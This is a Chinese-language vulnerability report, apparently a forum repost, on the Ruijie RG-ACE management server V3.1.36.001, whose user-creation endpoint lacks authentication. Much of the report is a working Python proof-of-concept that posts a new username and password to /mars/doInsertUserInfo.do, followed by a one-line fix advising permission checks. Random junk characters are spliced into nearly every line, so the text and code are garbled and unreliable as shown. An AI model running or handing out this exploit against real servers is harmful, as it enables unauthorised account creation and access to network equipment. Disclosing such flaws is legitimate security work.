锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
3 z% ]5 Z: l8 m3 h. E0 d' Y& Q0 W
# h1 y; W3 d1 u" ?
测试的具体版本是! M* A T( Z( }, H6 r" o
产品名称: 锐捷应用控制引擎
+ u- c! ~) Q* s& g1 k版本号: 3.1.36.001 TC
- C. ?+ K# S" x编译时间: 201104291730
" b2 G% j: l" K. B 2 \, }( \8 \# A
; y3 b8 L7 `7 o! c3 o R' t漏洞证明:
) g1 N) Q) T, l. w3 s
4 A2 V4 V7 w$ I) S6 s4 s E+ T0 K, F2 g
2 U, k; U3 R9 ~- Z7 O9 i3 U% d: j- U4 h
, U' I6 h3 X$ k" n/ Y- D4 L c: e# r C6 r- C) R7 M* r3 A z
执行脚本/ X+ `+ h2 R' R: ]: E+ I
#! /usr/bin/env python9 Y3 D9 i7 N* ~# y$ i
#coding=gbk6 E! E+ o2 P L6 p
#RG-ACE管理服务器 V3.1.36.0013 ]) c. h+ n, b! ^2 v
import urllib2, urllib,cookielib) K# W3 C1 d: Y# t% n
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP. ]" q6 ], `5 g0 `1 C
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar())); \) p. o' o* b, G6 T! J
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]1 E q) r, e: m: _9 I W- N: z
post=(("event","userManager.doInsertUserInfo"),
! C5 K( L3 j3 w1 G: H' Z("useractionname","addButtonValue"),
5 L: ]6 s; t. R. L$ _8 o: [("useropermanager","userManager"),. s- q) v5 n$ k- Z/ ~: B
("userName","t"), #######账号自己加
! X9 _4 M- C3 K7 w1 u4 X("pwd","aaaaaa"),######密码自己加) L1 Z2 w: e% G, [: v
("trueName","ad"),
8 p# u1 F- X* h' l( e("email",""),3 J! b; R6 ~/ [1 F
("mobilePhone",""),& u9 l% @9 b, E; R9 U9 ~
("officePhone",""),
, y: r5 Y, H( [4 Q) K("addr",""),/ Q/ m# U# s R
("submit","确定"))0 g' D5 U" H' Y
urllib2.install_opener(opener), a3 `$ R0 d% e
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
$ V4 N& ?% d# }7 l2 |' X4 zprint "Done"+ e8 ^ ^2 b ]% X) L
6 v; _; h& E" ~. u- A
登录,连接设备- S- D) \4 s) A: _# r! u4 Y8 J
# `% T" P/ y% M$ ]. R% N2 n$ Y: L |# G# w r3 u
- P; D6 i' A0 V2 W' u) W; _( {/ Z) f. n: u/ q8 P
- C- k2 B2 n$ q& u默认的管理员admin权限更大点
( X( S/ H% V6 R7 S6 c( j, w$ W3 r" K' {% c
$ a. m, @$ R9 w- T7 E% j L. l9 P
8 R; r6 Q8 F% F5 z
" O4 y) s0 V, o8 r' E/ a% \
8 S. F8 {6 s+ s& z修复方案:7 H7 I1 D. e& D* b. u6 z: I
加强对接口的权限验证9 j' i B6 F; L4 Y* _$ [/ ^4 w
$ |2 g- e" U! R0 Y+ L3 G |